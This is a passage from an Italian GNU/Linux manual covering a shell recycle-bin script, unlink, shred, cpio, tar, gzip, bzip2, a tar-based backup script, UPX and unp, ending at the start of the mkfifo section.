    if [ $primo_carattere == "/" ]
    then
        #
        # Si tratta di un percorso assoluto.
        #
        echo $1
    else
        #
        # È necessario aggiungere il percorso precedente.
        #
        echo `pwd`/$1
    fi
}
#
# Crea una directory temporanea da usare come cestino.
#
CESTINO="/var/tmp/cestino"
DATA=$(date +%Y%m%d%H%M%S)
```

```
NOME_COMPLETO=""
#
mkdir $CESTINO 2> /dev/null
#
# Verifica.
#
if ! touch $CESTINO/$DATA
then
    #
    # Non è stato possibile creare il cestino: forse ci sono
    # problemi di permessi.
    #
    echo "Non è possibile accedere alla directory"
    echo "$CESTINO"
    #
    # Lo script termina restituendo un valore falso.
    #
    exit 1
else
    #
    # Elimina il file di prova all'interno del cestino.
    #
    rm -f $CESTINO/$DATA
fi
#
# Copia all'interno del cestino.
#
for filename in $@
do
    #
    # Trova il percorso assoluto.
    #
    NOME_COMPLETO=`nome_completo $filename`
    #
    # Sposta il file o la directory.
    #
    if cp -dpRfv --parents $NOME_COMPLETO $CESTINO
    then
        rm -rf $NOME_COMPLETO
    fi
done
```

L'esempio mostrato riproduce il percorso in cui si trovano i file a partire dalla directory che svolge il ruolo di cestino. In questo modo si possono creare delle collisioni, per esempio quando si tenta di sovrascrivere una directory con un file. Se si preferisce si può usare la versione alternativa che viene mostrata nel seguito, in cui l'inizio del percorso del cestino è ottenuto da una sottodirectory composta dalla data e dall'ora in cui è stata svolta l'operazione:

```
#!/bin/sh
##
## ricicla FILE...
##
#
# nome_completo NAME
#
function nome_completo () {
    #
    local primo_carattere
    local comando_sed
    comando_sed="sed -n s/^\\(.\\).*/\\1/p"
    #
    primo_carattere=`echo $1 | $comando_sed`
    #
    if [ $primo_carattere == "/" ]
    then
        #
        # Si tratta di un percorso assoluto.
        #
        echo $1
    else
        #
        # È necessario aggiungere il percorso precedente.
        #
        echo `pwd`/$1
    fi
}
#
# Crea una directory temporanea da usare come cestino.
#
CESTINO="/var/tmp/cestino"
DATA=$(date +%Y%m%d%H%M%S)
NOME_COMPLETO=""
#
mkdir $CESTINO 2> /dev/null
#
# Verifica.
#
if ! touch $CESTINO/$DATA
then
    #
    # Non è stato possibile creare il cestino: forse ci sono
    # problemi di permessi.
    #
    echo "Non è possibile accedere alla directory"
    echo "$CESTINO"
```

```
    #
    # Lo script termina restituendo un valore falso.
    #
    exit 1
else
    #
    # Elimina il file di prova all'interno del cestino.
    #
    rm -f $CESTINO/$DATA
fi
#
# Fa in modo che il cestino abbia una sottodirectory diversa ogni volta.
#
CESTINO="$CESTINO/$DATA"
mkdir $CESTINO 2> /dev/null
#
# Copia all'interno del cestino.
#
for filename in $@
do
    #
    # Trova il percorso assoluto.
    #
    NOME_COMPLETO=`nome_completo $filename`
    #
    # Sposta il file o la directory.
    #
    if cp -dpRfv --parents $NOME_COMPLETO $CESTINO
    then
        rm -rf $NOME_COMPLETO
    fi
done
```

22.12.4 Utilizzo di «unlink»

Il programma di servizio '**unlink**'[31] è probabilmente qualcosa di superfluo, ma esiste nei sistemi Unix, pertanto è incluso anche nei sistemi GNU. Il suo scopo è quello di cancellare il riferimento a un file, cosa che equivale alla cancellazione; tuttavia, in alcuni sistemi, questo programma può anche cancellare il riferimento a una directory, cosa che però non corrisponde alla cancellazione del suo contenuto, il quale continua così a esistere come inode, anche se può essere irraggiungibile attraverso un percorso. Per motivi di sicurezza, nei sistemi GNU, '**unlink**' non può essere usato con le directory.

```
unlink file...
```

22.12.5 Utilizzo di «shred»

Il programma di servizio '**shred**'[32] serve a cancellare il contenuto di un file, in modo da renderne impossibile il recupero. Il programma '**shred**' esegue questo compito sovrascrivendo più volte i dati del file, con dati più o meno casuali:

```
shred [file] file...
```

In condizioni normali, quando non si specifica qualcosa di diverso attraverso le opzioni, il file viene sovrascritto fino alla fine dell'ultimo blocco che lo contiene. Per blocco si intende l'unità minima di dati in base al contesto, la quale può essere il blocco di dati del file system o il blocco dell'unità a blocchi, se si fa riferimento a file di dispositivo il cui accesso è regolato in questo modo.

Dal momento che si può indicare un file su disco o un file di dispositivo, il programma non cancella il file alla fine della sovrascrittura, a meno che sia richiesto espressamente con le opzioni.

Per approfondire l'uso del programma, si può consultare la documentazione originale: *info shred* oppure la pagina di manuale *shred(1)*. Si ricordi anche di verificare se, in base al proprio contesto operativo, l'uso del programma può produrre effettivamente il risultato atteso.

22.13 Archiviazione

L'archiviazione è quel procedimento con cui si impacchettano file o rami di directory in modo da facilitarne la conservazione all'interno di unità di memorizzazione senza file system. Per lo stesso motivo, l'archiviazione è il modo con cui si possono trasferire agevolmente i dati attraverso piattaforme differenti. L'archiviazione pura e semplice non ottiene alcun risparmio nello spazio utilizzato dai dati; per poter ottenere invece un compattamento, si deve utilizzare la compressione.

L'archiviazione pura e semplice è ottenuta normalmente attraverso il programma '**tar**' o il programma '**cpio**'. Questi due sono equivalenti, almeno a livello teorico. In pratica, è l'utilizzatore che sceglie quello che per qualche motivo gli è più simpatico, specializzandosi nell'uso delle sue opzioni particolari. Va però osservato che lo standard POSIX prevede solo il programma '**pax**', anche se questo dovrebbe essere in grado di elaborare i vecchi formati di Cpio e Tar.

22.13.1 Utilizzo di Cpio

Il programma di servizio '**cpio**'[33] copia file da e verso archivi '**cpio**' o '**tar**':

```
cpio -o [opzioni] [< elenco_nomi] [> archivio]
```

```
cpio -i [opzioni] [modello] [< archivio]
```

```
cpio -p [opzioni] directory_di_destinazione [< elenco_nomi]
```

L'archivio può essere un file su disco, un nastro magnetico o il flusso di un condotto. Le tre sintassi indicate rappresentano le tre modalità operative del comando.

- *copy-out* (archiviazione)

  Dallo standard input viene letto un elenco di nomi di file (uno per riga) e l'archivio di questi file viene generato ed emesso attraverso lo standard output.

- *copy-in* (lettura di un archivio)

  Dallo standard input viene letto il contenuto di un archivio dal quale si possono estrarre i file in esso contenuti.

- *copy-pass* (copia)

  Dallo standard input viene letto un elenco di nomi di file (uno per riga) e questi file (con il loro contenuto) vengono copiati nella directory di destinazione.

Si può consultare il documento *info cpio*, oppure la pagina di manuale *cpio(1)* per maggiori dettagli sull'uso di questo programma.

Tabella 22.84. Alcune opzioni per il «copy-out».

Opzione	Descrizione
`-o` `--create`	Funziona in modalità *copy-out*.
`-A` `--append`	Aggiunge dati a un archivio esistente che deve essere specificato con l'opzione '**-O**'.
`-L` `--dereference`	Quando incontra dei collegamenti simbolici, copia i file a cui questi puntano, invece di copiare semplicemente i collegamenti.
`-O` ***nome_archivio***	Specifica il nome dell'archivio da creare o incrementare, invece di utilizzare lo standard output.

Tabella 22.85. Alcune opzioni per il «copy-in».

Opzione	Descrizione
`-i` `--extract`	Funziona in modalità *copy-in*.
`-d` `--make-directories`	Crea le directory necessarie.

Opzione	Descrizione
`-E` ***file*** `--pattern-file=`***file***	Legge il modello che esprime i nomi dei file da estrarre, o l'elenco dei nomi stessi, dal file indicato come argomento dell'opzione.
`-f` `--nomatching`	Copia soltanto i file che non corrispondono al modello indicato.
`-I` ***archivio***	Permette di specificare il nome dell'archivio da usare, invece di riceverlo dallo standard input.
`-t` `--list`	Elenca il contenuto dell'archivio.

Tabella 22.86. Alcune opzioni per il «copy-pass».

Opzione	Descrizione
`-p` `--pass-through`	Funziona in modalità *copy-pass*.
`-d` `--make-directories`	Crea le directory necessarie.
`-l` `--link`	Se possibile, crea dei collegamenti invece di copiare i file.
`-L` `--dereference`	Quando incontra dei collegamenti simbolici, copia i file a cui questi puntano, invece di copiare semplicemente i collegamenti.

Segue la descrizione di alcuni esempi:

- `$` **`cpio -o < elenco > /tmp/archivio.cpio`** [*Invio*]

  Archivia i file e le directory elencati nel file '`elenco`' generando il file '`/tmp/archivio.cpio`'.

- `$` **`ls *.sgml | cpio -o > /tmp/archivio.cpio`** [*Invio*]

  Archivia i file e le directory corrispondenti al modello '`*.sgml`' generando il file '`/tmp/archivio.cpio`'.

- `$` **`find lavoro -print | cpio -o > /tmp/archivio.cpio`** [*Invio*]

  Archivia la directory '`lavoro/`' e tutto il suo contenuto, generando il file '`/tmp/archivio.cpio`'.

- `$` **`cpio -i -t < /tmp/archivio.cpio`** [*Invio*]

  Elenca il contenuto dell'archivio '`/tmp/archivio.cpio`'.

- $ **cpio -i < /tmp/archivio.cpio** [*Invio*]

  estrae l'archivio '/tmp/archivio.cpio' a partire dalla directory corrente.

- $ **cat elenco | cpio -pd /tmp/prova** [*Invio*]

  Copia i file e le directory elencati nel file 'elenco', a partire dalla directory '/tmp/prova/'.

22.13.2 Utilizzo di Tar

Il programma di servizio '**tar**' [34] (*Tape archive*) è un programma di archiviazione nato originariamente per essere usato con i nastri:

```
tar opzione_di_funzionamento [opzioni] file...
```

Il primo argomento deve essere una delle opzioni che ne definisce il funzionamento. Alla fine della riga di comando vengono indicati i nomi dei file o delle directory da archiviare. Se non viene specificato diversamente con le opzioni, l'archivio viene emesso attraverso lo standard output.

Il '**tar**' tradizionale ammette l'uso di opzioni senza il trattino anteriore ('**-**') consueto. Questa tradizione è stata mantenuta anche nel '**tar**' GNU a cui si vuole fare riferimento qui, ma tale forma deve essere usata consapevolmente e con prudenza. Negli esempi viene mostrato in che modo potrebbero essere usate tali opzioni senza trattino.

Per la descrizione completa di questo programma, conviene consultare il documento *info tar*, oppure la pagina di manuale *tar(1)*.

Tabella 22.87. Opzioni di funzionamento per rappresentare l'operazione da compiere. Di queste, può e deve esserne utilizzata una sola. Di solito, data la loro importanza, queste opzioni appaiono all'inizio degli argomenti di '**tar**'.

Opzione	Descrizione
A -A --catenate --concatenate	Aggiunge dei file '**tar**' a un archivio già esistente.
c -c --create	Crea un nuovo archivio.

Opzione	Descrizione

`d`
`-d`
`--diff`
`--compare`
	Trova le differenze tra l'archivio e i file esistenti effettivamente.

`--delete`	Cancella dall'archivio i file indicati. Non può essere usato per un archivio su nastro.

`r`
`-r`
`--append`
	Aggiunge dati a un archivio già esistente.

`t`
`-t`
`--list`
	Elenca il contenuto di un archivio.

`u`
`-u`
`--update`
	Aggiunge solo i file più recenti rispetto a quanto già contenuto nell'archivio.

`x`
`-x`
`--extract`
`--get`
	Estrae i file da un archivio.

Tabella 22.88. Altre opzioni.

Opzione	Descrizione
`--atime-preserve`	Fa in modo che la data di accesso dei file che vengono archiviati non venga modificata.
`-f` ***file*** `--file=`***file***	Emette l'archivio nel file o nel dispositivo. Se si tratta di un file normale, questo viene creato.
`-h` `--dereference`	Non copia i collegamenti simbolici, ma i file a cui questi fanno riferimento.
`-k` `--keep-old-files`	In fase di estrazione da un archivio, non sovrascrive i file eventualmente già esistenti.

Opzione	Descrizione
`-l` `--one-file-system`	Quando viene creato un archivio, resta in un solo file system: quello di partenza.
`-L` ***Kibyte*** `--tape-length=`***Kibyte***	Definisce la dimensione massima dei vari segmenti di copia multivolume.
`-m` `--modification-time`	In fase di estrazione da un archivio, non viene ripristinata la data di modifica dei file.
`-M` `--multi-volume`	Permette di creare, elencare o estrarre, un archivio multivolume.
`-N` ***data*** `--after-date=`***data*** `--newer` ***data***	Archivia solo i file la cui data è più recente di quella indicata come argomento.
`-O` `--to-stdout`	Estrae i file emettendoli attraverso lo standard output.

`-p`
`--same-permissions`
`--preserve-permissions`
	Estrae tutti i permessi associati ai file. Se non viene usata questa opzione, i file ottengono i permessi predefiniti, anche in funzione della maschera dei permessi dell'utente che esegue l'operazione.

`-P` `--absolute-path`	Estrae i file utilizzando i percorsi assoluti, cioè senza eliminare la prima barra ('`/`') che appare nei nomi di percorso (*pathname*).
`--remove-files`	In fase di creazione di un nuovo archivio, elimina i file archiviati.
`--same-owner`	Durante l'estrazione da un archivio, assegna ai file estratti gli utenti e i gruppi proprietari originali.
`-v` `--verbose`	Elenca i file che vengono elaborati.
`-W` `--verify`	Cerca di verificare la validità dell'archivio dopo averlo creato.

`-Z`
`--compress`
`--uncompress`
	Filtra l'archivio attraverso il programma di compressione '**`compress`**'.

Opzione	Descrizione

`-z`
`--gzip`
`--ungzip`
	Filtra l'archivio attraverso il programma di compressione '**`gzip`**'.

`-j` `--bzip2`	Filtra l'archivio attraverso il programma di compressione '**`bzip2`**' (sia per la compressione che per l'estrazione).
`--use-compress-program` ***prog***	Filtra l'archivio attraverso il programma di compressione indicato nell'argomento. Questo programma di compressione deve riconoscere l'opzione '**`-d`**', come fa '**`gzip`**', allo scopo di decomprimere i dati.

Segue la descrizione di alcuni esempi.

- `#` **`tar -c -f /dev/fd0 -L 1440 -M -v /usr`** [*Invio*]

  Archivia la directory '`/usr/`' con tutto il suo contenuto, comprese le sottodirectory, utilizzando i dischetti (da 1440 Kibyte).

  > Con la copia multivolume, come in questo caso, non è possibile utilizzare la compressione automatica attraverso l'opzione '**`-z`**' o '**`-Z`**'.

- `#` **`tar cf /dev/fd0 -L 1440 -M -v /usr`** [*Invio*]

  Esattamente come nell'esempio precedente, con la differenza che le opzioni '**`-c`**' e '**`-f`**' sono indicate senza il trattino iniziale.

- `#` **`tar cvf /dev/fd0 -L 1440 -M /usr`** [*Invio*]

  Esattamente come nell'esempio precedente.

- `#` **`tar -cfv /dev/fd0 -L 1440 -M /usr`** [*Invio*]

  `#` **`tar cfv /dev/fd0 -L 1440 -M /usr`** [*Invio*]

  Questi due esempi sono identici ed **errati** ugualmente. Non è possibile accodare lettere di altre opzioni dopo la «f», dal momento che questa richiede un argomento.

  > In molti documenti su '**`tar`**' si vedono esempi errati di questo tipo. Possono anche funzionare, ma sono errati concettualmente ed è molto probabile incontrare un programma '**`tar`**' che in tali situazioni faccia qualcosa di diverso da quello che ci si aspetterebbe.

- `$` **`tar -t -f /dev/fd0 -L 1440 -M -v`** [*Invio*]

  Visualizza l'elenco del contenuto dell'archivio fatto su dischetti.

- `$` **`tar -x -f /dev/fd0 -L 1440 -M -v -p --same-owner`** [*Invio*]

  Estrae il contenuto dell'archivio su dischetti a partire dalla posizione corrente.

È probabile che l'opzione '**--same-owner**' sia già predefinita all'interno di '**tar**', ma in generale vale la pena di ricordarsene. Tuttavia, in questi esempi, dal momento che si tratta di un utente comune (lo si vede dal dollaro che viene indicato come invito), non ha significato, dal momento che l'utente comune non ha la possibilità di assegnare a un altro la proprietà dei file che crea.

- $ **tar xpvf /dev/fd0 -L 1440 -M --same-owner** [*Invio*]

  Come nell'esempio precedente, aggregando alcune opzioni e togliendo il trattino iniziale di queste.

- $ **tar -c -f /tmp/archivio.tgz -z -v /usr** [*Invio*]

  Archivia il contenuto della directory '/usr/' nel file '/tmp/archivio.tgz' dopo averlo compresso con '**gzip**'.

- $ **tar czvf /tmp/archivio.tgz /usr** [*Invio*]

  Come nell'esempio precedente.

- $ **tar -c -f /tmp/archivio.tar.bz2 -j -v /usr** [*Invio*]

  Archivia il contenuto della directory '/usr/' nel file '/tmp/archivio.tar.bz2' dopo averlo compresso con '**bzip2**'.

- $ **tar cjvf /tmp/archivio.tar.bz2 /usr** [*Invio*]

  Come nell'esempio precedente.

22.14 Compressione

La compressione dei dati è una tecnica che consente di risparmiare senza perdere informazioni. L'operazione avviene di norma in modo sequenziale, per cui può essere gestita attraverso dei programmi filtro, che alle volte permettono di rendere trasparente l'operazione. Data la facilità con cui nei sistemi Unix si possono combinare assieme delle tecniche di questo genere, in tali ambienti si tende a preferire l'archiviazione seguita da una compressione complessiva.

22.14.1 Utilizzo di «gzip», «gunzip» e «zcat»

Il programma di servizio '**gzip**' [35] viene usato per comprimere o decomprimere ogni file indicato negli argomenti:

```
gzip [opzioni] [file...]
```

```
gunzip [opzioni] [file...]
```

```
zcat [opzioni] [file...]
```

Il programma '**gzip**' è in grado di comprimere solo file normali, in modo singolo: per ogni file ne viene generato un altro con l'estensione '.gz' o un'altra se specificato diversamente con le opzioni. Se non viene indicato alcun file o se si utilizza espressamente un trattino isolato ('**-**'), lo standard input viene compresso e il risultato viene emesso attraverso lo standard output.

Il nome '**gunzip**' è un collegamento a '**gzip**'. Se '**gzip**' viene avviato con il nome '**gunzip**' si comporta come se fosse stata utilizzata l'opzione '**-d**'.

Il nome '**zcat**' è un collegamento a '**gzip**'. Se '**gzip**' viene avviato con il nome '**zcat**' si comporta come se fossero state utilizzate simultaneamente le opzioni '**-d**' e '**-c**'. In alcuni sistemi, invece di '**zcat**' potrebbe essere presente il collegamento '**gzcat**'.

Si può consultare il documento *info gzip*, oppure la pagina di manuale *gzip(1)* per maggiori dettagli sull'uso di questo programma.

Tabella 22.89. Alcune opzioni.

Opzione	Descrizione
-c --stdout --to-stdout	Emette il risultato attraverso lo standard output. Il programma utilizza automaticamente questa opzione quando viene eseguito con il nome '**zcat**'.
-d --decompress --uncompress	Decomprime un file compresso. Il programma utilizza automaticamente questa opzione quando viene eseguito con il nome '**gunzip**'.
-r --recursive	Se tra i nomi indicati nella riga di comando appaiono delle directory, vengono compressi o decompressi tutti i file in esse contenuti.
-t --test	Controlla l'integrità dei file compressi.
-1 -2 -3 -4 -5 -6 -7 -8 -9	Permette di definire il livello di compressione: '**-1**' rappresenta la compressione minima, che in compenso richiede meno elaborazione; '**-9**' rappresenta la compressione massima, a scapito del tempo di elaborazione. Se non viene specificata questa opzione, si utilizza un livello intermedio, corrispondente a '**-6**'.

Segue la descrizione di alcuni esempi:

- `$ gzip *.sgml` [*Invio*]

  Comprime i file '`*.sgml`', utilizzando un livello intermedio di compressione, sostituendo i file originali con quelli compressi: '`*.sgml.gz`'.

- `$ gzip -d *.sgml.gz` [*Invio*]

  Espande i file corrispondenti al modello '`*.sgml.gz`', togliendo loro l'estensione '`.gz`'.

- `$ cat pippo | gzip -9 > pippo.gz` [*Invio*]

  Genera il file '`pippo.gz`' come risultato della compressione di '`pippo`'. In particolare, viene utilizzato il livello di compressione massima e il file originale non viene cancellato.

- `$ cat pippo.gz | gzip -d > pippo` [*Invio*]

  Fa l'opposto dell'esempio precedente: espande il file '`pippo.gz`' generando '`pippo`', senza cancellare il file originale.

22.14.2 Utilizzo di «bzip2» e «bunzip2»

Il programma di servizio '**`bzip2`**' [36] è un programma di compressione funzionalmente analogo a '**`gzip`**', nel senso che viene creato un file compresso per ogni file indicato negli argomenti:

```
bzip2 [opzioni] [file...]
```

```
bunzip2 [opzioni] [file...]
```

Il programma '**`bzip2`**', come '**`gzip`**', è in grado di comprimere solo file normali, in modo singolo, dove per ogni file ne viene generato un altro con l'estensione '`.bz2`'. Se non viene indicato alcun file o se si utilizza espressamente un solo trattino isolato ('**`-`**'), lo standard input viene compresso e il risultato viene emesso attraverso lo standard output.

Il programma '**`bzip2`**' utilizza un algoritmo di compressione differente, rispetto a '**`gzip`**', con un carico di elaborazione maggiore, che diventa efficace solo in presenza di file di grandi dimensioni. In generale, per garantire la massima portabilità di un archivio compresso, conviene utilizzare '**`gzip`**', salvo quando le dimensioni dell'archivio sono tali da rendere realmente conveniente l'utilizzo di '**`bzip2`**'.

La sintassi di '**`bzip2`**' è molto simile a quella di '**`gzip`**', anche se non è del tutto identica. Prima di decidere di utilizzare '**`bzip2`**' per archiviare i propri dati, conviene leggere la documentazione originale: il documento *info bzip2*, oppure la pagina di manuale *bzip2(1)*, in modo da poter valutare correttamente.

Il nome '**`bunzip2`**' è un collegamento a '**`bzip2`**', il quale, se avviato con questo nome, utilizza implicitamente l'opzione '**`-d`**' per decomprimere i file indicati alla fine della riga di comando.

Tabella 22.90. Alcune opzioni.

Opzione	Descrizione
`-c` `--stdout`	Comprime o decomprime emettendo il risultato attraverso lo standard output. La decompressione ammette l'emissione di più file, mentre in caso di compressione, se ne può emettere solo uno.
`-d` `--decompress`	Forza la modalità di decompressione dei dati. Questo è il comportamento predefinito, quando il programma viene eseguito con il nome '**`bunzip2`**'.
`-f` `--compress`	Forza la modalità di compressione dei dati. Serve a imporre la compressione, indipendentemente dal nome utilizzato per avviare '**`bzip2`**'.
`-t` `--test`	Controlla l'integrità dei file compressi.
`-1` `-2` `-3` `-4` `-5` `-6` `-7` `-8` `-9`	Permette di definire il livello di compressione: '**`-1`**' rappresenta la compressione minima, che in compenso richiede blocchi più piccoli (100 Kibyte) e meno elaborazione; '**`-9`**' rappresenta la compressione massima, a scapito della dimensione dei blocchi che aumenta in modo considerevole (900 Kibyte) e del tempo di elaborazione.

22.14.3 Copie di sicurezza

Quello che segue è l'esempio di uno script molto semplice per l'archiviazione di una serie di file e directory attraverso la coppia '**`tar`**' e '**`gzip`**'.

```
#!/bin/sh
###
### salva DIRECTORY_DI_DESTINAZIONE  < ELENCO
###
### Archiviazione di tutti i file e directory indicati attraverso lo
### standard input, utilizzando <directory-di-destinazione> come luogo
### di destinazione degli archivi.
###
### Gli archivi vengono generati in formato .tgz, cioè tar+gzip.
###
##
```

```
## Variabili.
##
#
# L'elenco dei file e delle directory da archiviare proviene dallo
# standard input.
#
ELENCO_DA_ARCHIVIARE=`cat`
#
# Directory di destinazione.
#
DESTINAZIONE=$1
##
## Funzioni.
##
#
# Visualizza la sintassi corretta per l'utilizzo di questo script.
#
function sintassi () {
    echo ""
    echo "cat elenco | $0 <directory-di-destinazione>"
    echo ""
}
##
## Inizio.
##
#
# Verifica la quantità di argomenti.
#
if [ $# != 1 ]
then
    #
    # La quantità di argomenti è errata. Richiama la funzione
    # «sintassi» e termina l'esecuzione dello script restituendo
    # un valore corrispondente a «falso».
    #
    sintassi
    exit 1
fi
#
# Verifica se esiste la directory di destinazione.
#
if [ -e $DESTINAZIONE ]
then
    #
    # Qualcosa con quel nome esiste già.
    # Si deve verificare che si tratti di una directory.
    #
```

```
    if [ ! -d $DESTINAZIONE ]
    then
        #
        # Non si tratta di una directory.
        #
        echo "Non è possibile procedere con l'archiviazione"
        echo "perché $DESTINAZIONE esiste e non è una directory."
        #
        # Lo script termina restituendo un valore corrispondente
        # a «falso».
        #
        exit 1
    fi
else
    #
    # La directory non esiste.
    # Si tenta di crearla.
    #
    if ! mkdir $DESTINAZIONE
    then
        #
        # Non è stato possibile creare la directory
        #
        echo "Non è possibile creare la directory"
        echo "$DESTINAZIONE"
        #
        # Lo script termina restituendo un valore corrispondente
        # a «falso».
        #
        exit 1
    fi
fi
#
# Giunti a questo punto, dovrebbe esistere la directory
# di destinazione.
# Inizia il ciclo di archiviazione.
#
for DA_ARCHIVIARE in $ELENCO_DA_ARCHIVIARE
do
    #
    # Estrae il nome del file o della directory senza il suo
    # percorso.
    #
    BASE_NAME=`basename $DA_ARCHIVIARE`
    #
    # Comprime il file o il contenuto della directory ottenendo un
    # file compresso con lo stesso nome e l'aggiunta
```

```
    # dell'estensione «.tgz».
    # Si utilizza «tar» specificando in particolare l'opzione «z»
    # che permette di comprimere automaticamente l'archivio
    # attraverso «gzip»;
    #
    tar czvf $DESTINAZIONE/$BASE_NAME.tgz $DA_ARCHIVIARE
done
#
# L'operazione di archiviazione e' terminata.
#
echo "L'archiviazione e' terminata."
##
## Fine.
##
```

22.14.4 UPX

UPX, ovvero il programma di servizio '**upx**',[37] consente di comprimere dei programmi eseguibili, in modo da poter poi essere avviati senza bisogno di procedere alla loro espansione. In pratica, si prende un programma, lo si comprime e, all'apparenza, questo continua a funzionare come prima.

Il programma UPX è realizzato per vari tipi eseguibili e il suo comportamento si adatta alle circostanze. In particolare, per quanto riguarda i sistemi GNU/Linux, l'avvio del programma compresso implica una fase di estrazione nella directory temporanea '`/tmp/`' e l'avvio successivo di quanto estratto. Come conseguenza più importante si ha che il processo che viene messo in funzione ha un'apparenza diversa rispetto al solito. A titolo di esempio, si suppone di avere compresso il programma '**yes**' e di averlo avviato in questo modo:

$ **yes ciao > /dev/null &** [*Invio*]

Se si osserva con il programma '**ps**', in certi casi potrebbe sembrare ancora tutto normale:

$ **ps x** [*Invio*]

```
  PID TTY      STAT   TIME COMMAND
...
 7513 tty5     R      0:41 yes ciao
 7529 tty5     R+     0:00 ps x
```

Ma in altri casi, il processo si mostra attraverso un numero:

$ **ps** [*Invio*]

```
  PID TTY          TIME CMD
 6173 tty5     00:00:00 sh
 7513 tty5     00:01:36 3
 7545 tty5     00:00:00 ps
```

$ **pstree** [*Invio*]

```
init-+-ahc_dv_0
     ...
      |-sh-+-3
      |    `-pstree
     ...
```

Segue la descrizione del modello sintattico per l'uso di '**upx**':

upx [*comando*] [*altre_opzioni*] [*file_eseguibile*...]

Il modello sintattico indica la presenza di un'opzione iniziale, con lo scopo di dichiarare il tipo di azione da compiere (se viene omessa, si intende la volontà di comprimere i file), seguita eventualmente da altre opzioni, quindi dai file da comprimere. La tabella successiva riepiloga i comandi disponibili; si rammenti che si può usare una sola opzione di questo tipo, ovvero si può indicare un solo comando.

Tabella 22.95. Comandi.

Opzione	Descrizione
	L'assenza dell'opzione di comando implica l'intenzione di comprimere i file secondo la modalità predefinita.
-1|2|3|4|5|6|7|8|9 --best	Specifica il livello di compressione: con '**-1**' si ottiene un livello minimo, mentre con '**-9**' richiede una compressione molto migliore. Utilizzando l'opzione '**--best**' si intende richiedere la compressione migliore che sia disponibile.
-d	Decomprime i file compressi in precedenza, riportandoli così al loro stato originale.
-t	Verifica l'integrità dei file che si presume siano stati compressi in precedenza.
-l	Mostra alcune informazioni sullo stato di file che si presume siano stati compressi in precedenza.

Segue la descrizione di alcuni esempi.

- $ **upx mio_programma** [*Invio*]

  Comprime il file './mio_programma':

```
                       Ultimate Packer for eXecutables
    Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004
UPX 1.25         Markus F.X.J. Oberhumer & Laszlo Molnar        Jun 29th 2004

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
     12536 ->      7822   62.40%    linux/386    mio_programma

Packed 1 file.
```

- $ **upx -d mio_programma** [*Invio*]

Estrae il file compresso in precedenza:

```
                       Ultimate Packer for eXecutables
   Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004
UPX 1.25        Markus F.X.J. Oberhumer & Laszlo Molnar       Jun 29th 2004

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
     12536 <-      7822   62.40%    linux/386    mio_programma

Unpacked 1 file.
```

- $ **upx --best mio_programma** [*Invio*]

  Comprime il file '`./mio_programma`' utilizzando il grado di compressione maggiore, anche se in tal caso non si ottengono miglioramenti:

```
                       Ultimate Packer for eXecutables
   Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004
UPX 1.25        Markus F.X.J. Oberhumer & Laszlo Molnar       Jun 29th 2004

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
     12536 ->      7822   62.40%    linux/386    mio_programma

Packed 1 file.
```

22.14.5 Utilizzo di «unp» e di «ucat»

Unp[38] è un pacchetto composto di piccoli programmi frontali per facilitare l'estrazione di file compressi, senza dover ricordare comandi e sintassi differenti; comandi che invece vengono avviati in modo trasparente e appropriato.

unp *file*... [-- *opzioni_specifiche*]

ucat *file*...

Il primo dei due modelli sintattici mostrati fa riferimento al programma '**unp**', con il quale si estraggono i file indicati come argomento; eventualmente, preceduti da due trattini '**--**', si possono aggiungere delle opzioni specifiche per il programma che si ritiene venga usato da '**unp**' per l'estrazione, ma ovviamente in questo modo perde di significato l'uso del programma frontale. Il secondo dei due modelli fa riferimento al programma '**ucat**', da intendere come un programma che legge i file indicati, li estrae e li emette attraverso lo standard output. Segue la descrizione di alcuni esempi.

- $ **unp mio.tar.gz** [*Invio*]

In questo caso, si presume che il file '**mio.tar.gz**' sia stato generato con la coppia «tar+gzip». Il programma lo fa estrarre, come se venisse usato il comando seguente:

$ **tar xzvf mio.tar.gz** [*Invio*]

- $ **unp mio.gz** [*Invio*]

  In questo caso, si presume che il file '**mio.gz**' sia stato generato da Gzip. Il programma lo fa estrarre, come se venisse usato il comando seguente:

  $ **gunzip < mio.gz > mio** [*Invio*]

  In pratica, rispetto al comportamento comune di Gzip, il file originale rimane intatto e l'estrazione avviene nella directory corrente.

- $ **ucat mio.bz2** [*Invio*]

  Mostra il contenuto del file 'mio.bz2'.

Altri programmi affini.

star(1)[39]	Si tratta di un programma Tar alternativo e compatibile con i vecchi standard.
arc(1)[40]	Si tratta di un programma di archiviazione e compressione, per gruppi di file, originario per sistemi CP/M e Dos.
arj(1)[41]	Si tratta di un programma di archiviazione e compressione, per gruppi di file, originario per sistemi Dos. Si osservi che nelle sue versioni originali, questo programma non era software libero.
zoo(1)[42]	Si tratta di un programma di archiviazione e compressione, per gruppi di file, sviluppato originariamente per sistemi Dos.
zip(1), *unzip(1)*[43]	Si tratta di un programma di archiviazione e compressione, per gruppi di file, sviluppato originariamente per i sistemi Dos.
lzop(1)[44]	Si tratta di un programma di compressione, per file singoli, che funziona sostanzialmente come Gzip, ma con l'obiettivo di essere più veloce.
PPMd(1)[45]	Si tratta di un programma di compressione, per file singoli, che funziona sostanzialmente come Gzip.
dact(1)[46]	Si tratta di un programma di compressione, per file singoli, che funziona sostanzialmente come Gzip, utilizzando algoritmi di compressione differenti e selezionando di volta in volta quello che si dimostra più adatto.
makeself(1)[47]	Si tratta di uno script, in grado di creare un altro script che incorpora un archivio compresso di dati. Tale script ottenuto, se avviato, provvede da solo a usare gli strumenti necessari a estrarre il contenuto incorporato. Si osservi che l'archivio ottenuto è sì autoestraente, ma per questo si avvale di programmi esterni, anche se comuni, pertanto non è autonomo.

22.15 File FIFO

Ciò che è noto comunemente come «*pipe* con nome», è un file che funziona da ***serbatoio FIFO***. FIFO è acronimo di *First in first out*, ovvero, «il primo a entrare è il primo a uscire», indicato a volte con il termine ***coda***. Si usano file di questo tipo per permettere a due processi di comunicare. Il primo apre il file in scrittura e vi aggiunge dati, il secondo lo apre in lettura e lo legge sequenzialmente.

22.15.1 Utilizzo di «mkfifo»

Il programma di servizio '**mkfifo**'[48] crea uno o più file FIFO (*pipe* con nome):

```
mkfifo [opzioni] file...
```

Opzione	Descrizione
